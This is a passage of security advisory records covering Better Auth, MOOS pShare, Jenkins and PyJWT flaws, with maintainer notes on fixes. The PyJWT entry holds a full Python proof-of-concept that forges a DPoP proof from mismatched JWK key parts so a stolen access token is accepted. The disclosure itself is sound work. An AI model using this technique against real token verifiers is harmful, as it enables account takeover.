Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [RFC 6749 \u00a710.12: Cross-Site Request Forgery](https://datatracker.ietf.org/doc/html/rfc6749#section-10.12)\n- [RFC 7636: Proof Key for Code Exchange](https://datatracker.ietf.org/doc/html/rfc7636)",
"id": "GHSA-wxw3-q3m9-c3jr",
"modified": "2026-05-15T17:33:40Z",
"published": "2026-05-15T17:33:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-wxw3-q3m9-c3jr"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/issues/8897"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/pull/8949"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/commit/9deb7936aba7931f2db4b460141f476508f11bfd"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Better Auth: OAuth callback accepts mismatched `state` when cookie-backed state storage is used without PKCE"
}
GHSA-X26F-2HV8-GR33
Vulnerability from github – Published: 2026-09-04 00:31 – Updated: 2026-09-04 00:31MOOS essential-moos through 10.0.1 contains an authentication bypass vulnerability in pShare that accepts UDP datagrams from any source and republishes them with the attacker-claimed identity intact. Attackers can send crafted UDP datagrams to pShare input routes to inject messages into the local MOOS community under spoofed identities, or send malformed datagrams to crash the pShare process.
{
"affected": [],
"aliases": [
"CVE-2026-85430"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-03T23:17:22Z",
"severity": "HIGH"
},
"details": "MOOS essential-moos through 10.0.1 contains an authentication bypass vulnerability in pShare that accepts UDP datagrams from any source and republishes them with the attacker-claimed identity intact. Attackers can send crafted UDP datagrams to pShare input routes to inject messages into the local MOOS community under spoofed identities, or send malformed datagrams to crash the pShare process.",
"id": "GHSA-x26f-2hv8-gr33",
"modified": "2026-09-04T00:31:08Z",
"published": "2026-09-04T00:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85430"
},
{
"type": "WEB",
"url": "https://github.com/themoos/essential-moos/pull/18"
},
{
"type": "WEB",
"url": "https://github.com/themoos/essential-moos/commit/53729b6325a991a8dbd84dcd04e4707f3e592fd6"
},
{
"type": "WEB",
"url": "https://github.com/themoos/essential-moos"
},
{
"type": "WEB",
"url": "https://github.com/themoos/essential-moos/blob/b897ea86dba8b61412dc48ac0cfb5ff34cdaf5f6/Essentials/pShare/Listener.cpp#L132"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/moos-essential-moos-through-10.0.1-pshare-unauthenticated-udp-datagram-republishing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X274-9M9R-FM5G
Vulnerability from github – Published: 2022-05-13 01:30 – Updated: 2025-03-13 17:58The Plugins Manager in Jenkins before 1.640 and LTS before 1.625.2 does not verify checksums for plugin files referenced in update site data, which makes it easier for man-in-the-middle attackers to execute arbitrary code via a crafted plugin.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.625.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.626"
},
{
"fixed": "1.640"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-7539"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-13T17:58:11Z",
"nvd_published_at": "2016-02-03T18:59:00Z",
"severity": "HIGH"
},
"details": "The Plugins Manager in Jenkins before 1.640 and LTS before 1.625.2 does not verify checksums for plugin files referenced in update site data, which makes it easier for man-in-the-middle attackers to execute arbitrary code via a crafted plugin.",
"id": "GHSA-x274-9m9r-fm5g",
"modified": "2025-03-13T17:58:11Z",
"published": "2022-05-13T01:30:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7539"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/11479a2cc0a322a6bcd7e65667f3d24aa4d444bb"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/97adb71aa4509f91e408a16ba312e817ec015cf4"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/9ec88357a354d8354728cc06e2b8c8b68aee58bf"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/c158648afa8888bc49ac337c973d4e4bc050118e"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/f99cb46e06f394637067730a82f46bddc3567295"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:0070"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-12-09"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-0489.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jenkins does not Verify Checksums for Plugin Files"
}
GHSA-X33G-CR3X-6449
Vulnerability from github – Published: 2026-10-05 23:44 – Updated: 2026-10-05 23:44Summary
PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.
When d is present, OKPAlgorithm.from_jwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.
In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.
Details
The vulnerable logic is in jwt/algorithms.py:
if "x" not in obj:
raise InvalidKeyError('OKP should have "x" parameter')
x = base64url_decode(obj.get("x"))
if "d" not in obj:
if curve == "Ed25519":
return Ed25519PublicKey.from_public_bytes(x)
return Ed448PublicKey.from_public_bytes(x)
d = base64url_decode(obj.get("d"))
if curve == "Ed25519":
return Ed25519PrivateKey.from_private_bytes(d)
return Ed448PrivateKey.from_private_bytes(d)
When d is present, x is parsed but never compared with the public key derived from d.
For example, PyJWT accepts:
{
"kty": "OKP",
"crv": "Ed25519",
"x": "<legitimate-user-public-key>",
"d": "<attacker-private-key>"
}
even though x and d belong to different key pairs.
The behavior has existed since OKP private-JWK import was introduced:
- Ed25519: PyJWT 2.1.0+
- Ed448: PyJWT 2.2.0+
- Confirmed through PyJWT 2.14.0 and current master
A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.
PoC
The reproducer creates two Ed25519 keypairs:
- a legitimate holder keypair
- an attacker keypair
It then:
- Creates an access token whose
cnf.jktis bound to the legitimate public key. - Creates a DPoP proof JWK containing the legitimate user's
xtogether with the attacker'sd. - Computes the RFC 7638 thumbprint from
x, which still matches the access-token binding. - Passes the complete JWK to
PyJWK.from_dict(). - PyJWT imports the private key from the attacker-controlled
d. - A DPoP proof signed with the attacker's private key verifies successfully.
Observed result:
thumbprint_matches: true
actual_key_is_attacker_key: true
actual_key_matches_declared_x: false
stolen_sender_constrained_token_accepted: true
attacker_has_legitimate_private_key: false
Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.
The complete reproducer is:
#!/usr/bin/env python3
from __future__ import annotations
import base64
import hashlib
import json
import os
import platform
import time
from importlib.metadata import version
from typing import Any
import jwt
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives.serialization import (
Encoding,
NoEncryption,
PrivateFormat,
PublicFormat,
)
ACCESS_TOKEN_SECRET = b"synthetic-authorization-server-key-32b"
HTTP_METHOD = "GET"
HTTP_URI = "https://resource.example/protected"
def b64url(raw: bytes) -> str:
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def public_x(private_key: Ed25519PrivateKey) -> str:
return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))
def private_d(private_key: Ed25519PrivateKey) -> str:
return b64url(
private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())
)
def jwk_thumbprint(jwk: dict[str, Any]) -> str:
canonical = json.dumps(
{"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]},
separators=(",", ":"),
sort_keys=True,
).encode("ascii")
return b64url(hashlib.sha256(canonical).digest())
def access_token_hash(access_token: str) -> str:
return b64url(hashlib.sha256(access_token.encode("ascii")).digest())
def verify_resource_request(
access_token: str,
proof: str,
*,
reject_private_header_jwk: bool = False,
) -> dict[str, Any]:
"""Model the security-relevant stages of an RFC 9449 resource server."""
access_claims = jwt.decode(
access_token,
ACCESS_TOKEN_SECRET,
algorithms=["HS256"],
issuer="https://authorization.example",
audience="resource-api",
options={"require": ["exp", "iss", "aud", "sub", "cnf"]},
)
header = jwt.get_unverified_header(proof)
if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA":
raise ValueError("invalid DPoP header policy")
jwk = header.get("jwk")
if not isinstance(jwk, dict):
raise ValueError("missing DPoP JWK")
if reject_private_header_jwk and any(
member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k")
):
raise ValueError("DPoP header JWK contains private material")
if jwk_thumbprint(jwk) != access_claims["cnf"]["jkt"]:
raise ValueError("DPoP key does not match cnf.jkt")
key = jwt.PyJWK.from_dict(jwk)
proof_claims = jwt.decode(
proof,
key,
algorithms=["EdDSA"],
options={"require": ["htm", "htu", "iat", "jti", "ath"]},
)
if proof_claims["htm"] != HTTP_METHOD or proof_claims["htu"] != HTTP_URI:
raise ValueError("DPoP request binding mismatch")
if proof_claims["ath"] != access_token_hash(access_token):
raise ValueError("DPoP access-token hash mismatch")
return access_claims
def main() -> None:
legitimate_holder = Ed25519PrivateKey.generate()
attacker = Ed25519PrivateKey.generate()
legitimate_x = public_x(legitimate_holder)
attacker_x = public_x(attacker)
legitimate_public_jwk = {
"alg": "EdDSA",
"crv": "Ed25519",
"kty": "OKP",
"x": legitimate_x,
}
mismatched_proof_jwk = {
**legitimate_public_jwk,
"d": private_d(attacker),
}
pinned_jkt = jwk_thumbprint(legitimate_public_jwk)
now = int(time.time())
access_token = jwt.encode(
{
"aud": "resource-api",
"cnf": {"jkt": pinned_jkt},
"exp": now + 300,
"iat": now,
"iss": "https://authorization.example",
"scope": "admin:read",
"sub": "legitimate-holder",
},
ACCESS_TOKEN_SECRET,
algorithm="HS256",
)
proof_claims = {
"ath": access_token_hash(access_token),
"htm": HTTP_METHOD,
"htu": HTTP_URI,
"iat": now,
"jti": "synthetic-attacker-proof",
}
attacker_proof = jwt.encode(
proof_claims,
attacker,
algorithm="EdDSA",
headers={"jwk": mismatched_proof_jwk, "typ": "dpop+jwt"},
)
imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key
imported_x = b64url(
imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)
)
accepted_claims = verify_resource_request(access_token, attacker_proof)
public_only_rejected = False
public_only_error = None
public_only_proof = jwt.encode(
proof_claims,
attacker,
algorithm="EdDSA",
headers={"jwk": legitimate_public_jwk, "typ": "dpop+jwt"},
)
try:
verify_resource_request(access_token, public_only_proof)
except Exception as error:
public_only_rejected = True
public_only_error = type(error).__name__
private_member_control_rejected = False
private_member_control_error = None
try:
verify_resource_request(
access_token,
attacker_proof,
reject_private_header_jwk=True,
)
except Exception as error:
private_member_control_rejected = True
private_member_control_error = type(error).__name__
result = {
"environment": {
"PyJWT": jwt.__version__,
"PyJWT_source": str(jwt.__file__),
"Python": platform.python_version(),
"cryptography": version("cryptography"),
"source_ref": os.environ.get("PYJWT_SOURCE_REF", "installed-release"),
},
"dpop_binding": {
"access_token_subject": accepted_claims["sub"],
"access_token_scope": accepted_claims["scope"],
"pinned_jkt": pinned_jkt,
"proof_jkt": jwk_thumbprint(mismatched_proof_jwk),
"thumbprint_matches": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,
},
"imported_key": {
"declared_x": legitimate_x,
"attacker_x": attacker_x,
"actual_imported_x": imported_x,
"actual_key_is_attacker_key": imported_x == attacker_x,
"actual_key_matches_declared_x": imported_x == legitimate_x,
},
"vulnerable_composition": {
"stolen_sender_constrained_token_accepted": accepted_claims["sub"]
== "legitimate-holder",
"attacker_has_legitimate_private_key": False,
},
"controls": {
"public_only_jwk_rejected": public_only_rejected,
"public_only_error": public_only_error,
"reject_private_header_jwk_blocks_attack": private_member_control_rejected,
"private_member_control_error": private_member_control_error,
},
}
assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt
assert imported_x == attacker_x
assert imported_x != legitimate_x
assert accepted_claims["sub"] == "legitimate-holder"
assert public_only_rejected and public_only_error == "InvalidSignatureError"
assert private_member_control_rejected and private_member_control_error == "ValueError"
print(json.dumps(result, indent=2, sort_keys=True))
if __name__ == "__main__":
main()
06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py
A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.from_dict() for EdDSA DPoP verification without rejecting d.
Impact
The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.
In a DPoP verifier that:
- calculates
cnf.jkt/ JWK thumbprints from the declaredx, - passes the same JWK to PyJWT for signature verification, and
- does not reject private JWK parameters,
an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.
RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.
Maintainer assessment (2026-09-12)
We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.
Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.
The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.
The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.
The fix is not yet contained in a released PyJWT 2.x version, so patched_versions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.
Maintainer release update (2026-09-23)
PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.
The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.
The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "PyJWT"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102275"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:44:03Z",
"nvd_published_at": "2026-09-28T21:17:15Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nPyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.\n\nWhen `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.\n\nIn affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder\u0027s private key.\n\n### Details\n\nThe vulnerable logic is in `jwt/algorithms.py`:\n\n```python\nif \"x\" not in obj:\n raise InvalidKeyError(\u0027OKP should have \"x\" parameter\u0027)\n\nx = base64url_decode(obj.get(\"x\"))\n\nif \"d\" not in obj:\n if curve == \"Ed25519\":\n return Ed25519PublicKey.from_public_bytes(x)\n return Ed448PublicKey.from_public_bytes(x)\n\nd = base64url_decode(obj.get(\"d\"))\n\nif curve == \"Ed25519\":\n return Ed25519PrivateKey.from_private_bytes(d)\n\nreturn Ed448PrivateKey.from_private_bytes(d)\n```\n\nWhen `d` is present, `x` is parsed but never compared with the public key derived from `d`.\n\nFor example, PyJWT accepts:\n\n```json\n{\n \"kty\": \"OKP\",\n \"crv\": \"Ed25519\",\n \"x\": \"\u003clegitimate-user-public-key\u003e\",\n \"d\": \"\u003cattacker-private-key\u003e\"\n}\n```\n\neven though `x` and `d` belong to different key pairs.\n\nThe behavior has existed since OKP private-JWK import was introduced:\n\n* Ed25519: PyJWT 2.1.0+\n* Ed448: PyJWT 2.2.0+\n* Confirmed through PyJWT 2.14.0 and current master\n\nA correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.\n\n### PoC\n\nThe reproducer creates two Ed25519 keypairs:\n\n* a legitimate holder keypair\n* an attacker keypair\n\nIt then:\n\n1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.\n2. Creates a DPoP proof JWK containing the legitimate user\u0027s `x` together with the attacker\u0027s `d`.\n3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.\n4. Passes the complete JWK to `PyJWK.from_dict()`.\n5. PyJWT imports the private key from the attacker-controlled `d`.\n6. A DPoP proof signed with the attacker\u0027s private key verifies successfully.\n\nObserved result:\n\n```text\nthumbprint_matches: true\nactual_key_is_attacker_key: true\nactual_key_matches_declared_x: false\nstolen_sender_constrained_token_accepted: true\nattacker_has_legitimate_private_key: false\n```\n\nTested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.\n\nThe complete reproducer is:\n```python\n#!/usr/bin/env python3\n\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport json\nimport os\nimport platform\nimport time\nfrom importlib.metadata import version\nfrom typing import Any\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey\nfrom cryptography.hazmat.primitives.serialization import (\n Encoding,\n NoEncryption,\n PrivateFormat,\n PublicFormat,\n)\n\n\nACCESS_TOKEN_SECRET = b\"synthetic-authorization-server-key-32b\"\nHTTP_METHOD = \"GET\"\nHTTP_URI = \"https://resource.example/protected\"\n\n\ndef b64url(raw: bytes) -\u003e str:\n return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef public_x(private_key: Ed25519PrivateKey) -\u003e str:\n return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))\n\n\ndef private_d(private_key: Ed25519PrivateKey) -\u003e str:\n return b64url(\n private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())\n )\n\n\ndef jwk_thumbprint(jwk: dict[str, Any]) -\u003e str:\n canonical = json.dumps(\n {\"crv\": jwk[\"crv\"], \"kty\": jwk[\"kty\"], \"x\": jwk[\"x\"]},\n separators=(\",\", \":\"),\n sort_keys=True,\n ).encode(\"ascii\")\n return b64url(hashlib.sha256(canonical).digest())\n\n\ndef access_token_hash(access_token: str) -\u003e str:\n return b64url(hashlib.sha256(access_token.encode(\"ascii\")).digest())\n\n\ndef verify_resource_request(\n access_token: str,\n proof: str,\n *,\n reject_private_header_jwk: bool = False,\n) -\u003e dict[str, Any]:\n \"\"\"Model the security-relevant stages of an RFC 9449 resource server.\"\"\"\n access_claims = jwt.decode(\n access_token,\n ACCESS_TOKEN_SECRET,\n algorithms=[\"HS256\"],\n issuer=\"https://authorization.example\",\n audience=\"resource-api\",\n options={\"require\": [\"exp\", \"iss\", \"aud\", \"sub\", \"cnf\"]},\n )\n header = jwt.get_unverified_header(proof)\n if header.get(\"typ\") != \"dpop+jwt\" or header.get(\"alg\") != \"EdDSA\":\n raise ValueError(\"invalid DPoP header policy\")\n jwk = header.get(\"jwk\")\n if not isinstance(jwk, dict):\n raise ValueError(\"missing DPoP JWK\")\n if reject_private_header_jwk and any(\n member in jwk for member in (\"d\", \"p\", \"q\", \"dp\", \"dq\", \"qi\", \"k\")\n ):\n raise ValueError(\"DPoP header JWK contains private material\")\n if jwk_thumbprint(jwk) != access_claims[\"cnf\"][\"jkt\"]:\n raise ValueError(\"DPoP key does not match cnf.jkt\")\n\n key = jwt.PyJWK.from_dict(jwk)\n proof_claims = jwt.decode(\n proof,\n key,\n algorithms=[\"EdDSA\"],\n options={\"require\": [\"htm\", \"htu\", \"iat\", \"jti\", \"ath\"]},\n )\n if proof_claims[\"htm\"] != HTTP_METHOD or proof_claims[\"htu\"] != HTTP_URI:\n raise ValueError(\"DPoP request binding mismatch\")\n if proof_claims[\"ath\"] != access_token_hash(access_token):\n raise ValueError(\"DPoP access-token hash mismatch\")\n return access_claims\n\n\ndef main() -\u003e None:\n legitimate_holder = Ed25519PrivateKey.generate()\n attacker = Ed25519PrivateKey.generate()\n legitimate_x = public_x(legitimate_holder)\n attacker_x = public_x(attacker)\n\n legitimate_public_jwk = {\n \"alg\": \"EdDSA\",\n \"crv\": \"Ed25519\",\n \"kty\": \"OKP\",\n \"x\": legitimate_x,\n }\n mismatched_proof_jwk = {\n **legitimate_public_jwk,\n \"d\": private_d(attacker),\n }\n pinned_jkt = jwk_thumbprint(legitimate_public_jwk)\n\n now = int(time.time())\n access_token = jwt.encode(\n {\n \"aud\": \"resource-api\",\n \"cnf\": {\"jkt\": pinned_jkt},\n \"exp\": now + 300,\n \"iat\": now,\n \"iss\": \"https://authorization.example\",\n \"scope\": \"admin:read\",\n \"sub\": \"legitimate-holder\",\n },\n ACCESS_TOKEN_SECRET,\n algorithm=\"HS256\",\n )\n proof_claims = {\n \"ath\": access_token_hash(access_token),\n \"htm\": HTTP_METHOD,\n \"htu\": HTTP_URI,\n \"iat\": now,\n \"jti\": \"synthetic-attacker-proof\",\n }\n attacker_proof = jwt.encode(\n proof_claims,\n attacker,\n algorithm=\"EdDSA\",\n headers={\"jwk\": mismatched_proof_jwk, \"typ\": \"dpop+jwt\"},\n )\n\n imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key\n imported_x = b64url(\n imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)\n )\n accepted_claims = verify_resource_request(access_token, attacker_proof)\n\n public_only_rejected = False\n public_only_error = None\n public_only_proof = jwt.encode(\n proof_claims,\n attacker,\n algorithm=\"EdDSA\",\n headers={\"jwk\": legitimate_public_jwk, \"typ\": \"dpop+jwt\"},\n )\n try:\n verify_resource_request(access_token, public_only_proof)\n except Exception as error:\n public_only_rejected = True\n public_only_error = type(error).__name__\n\n private_member_control_rejected = False\n private_member_control_error = None\n try:\n verify_resource_request(\n access_token,\n attacker_proof,\n reject_private_header_jwk=True,\n )\n except Exception as error:\n private_member_control_rejected = True\n private_member_control_error = type(error).__name__\n\n result = {\n \"environment\": {\n \"PyJWT\": jwt.__version__,\n \"PyJWT_source\": str(jwt.__file__),\n \"Python\": platform.python_version(),\n \"cryptography\": version(\"cryptography\"),\n \"source_ref\": os.environ.get(\"PYJWT_SOURCE_REF\", \"installed-release\"),\n },\n \"dpop_binding\": {\n \"access_token_subject\": accepted_claims[\"sub\"],\n \"access_token_scope\": accepted_claims[\"scope\"],\n \"pinned_jkt\": pinned_jkt,\n \"proof_jkt\": jwk_thumbprint(mismatched_proof_jwk),\n \"thumbprint_matches\": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,\n },\n \"imported_key\": {\n \"declared_x\": legitimate_x,\n \"attacker_x\": attacker_x,\n \"actual_imported_x\": imported_x,\n \"actual_key_is_attacker_key\": imported_x == attacker_x,\n \"actual_key_matches_declared_x\": imported_x == legitimate_x,\n },\n \"vulnerable_composition\": {\n \"stolen_sender_constrained_token_accepted\": accepted_claims[\"sub\"]\n == \"legitimate-holder\",\n \"attacker_has_legitimate_private_key\": False,\n },\n \"controls\": {\n \"public_only_jwk_rejected\": public_only_rejected,\n \"public_only_error\": public_only_error,\n \"reject_private_header_jwk_blocks_attack\": private_member_control_rejected,\n \"private_member_control_error\": private_member_control_error,\n },\n }\n\n assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt\n assert imported_x == attacker_x\n assert imported_x != legitimate_x\n assert accepted_claims[\"sub\"] == \"legitimate-holder\"\n assert public_only_rejected and public_only_error == \"InvalidSignatureError\"\n assert private_member_control_rejected and private_member_control_error == \"ValueError\"\n print(json.dumps(result, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n```text\n06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py\n```\n\nA public example of the affected composition exists in StrongDM\u0027s `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`.\n\n### Impact\n\nThe PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.\n\nIn a DPoP verifier that:\n\n* calculates `cnf.jkt` / JWK thumbprints from the declared `x`,\n* passes the same JWK to PyJWT for signature verification, and\n* does not reject private JWK parameters,\n\nan attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder\u0027s private key.\n\nRFC 9449 \u00a74.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack.\n\n### Maintainer assessment (2026-09-12)\n\nWe independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities.\n\nExact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`\u003e= 2.1.0, \u003c= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.\n\nThe fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit.\n\nThe reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT\u0027s security-policy scope; it is not used to characterize the PyJWT-owned impact.\n\nThe fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.\n---\n\n### Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel 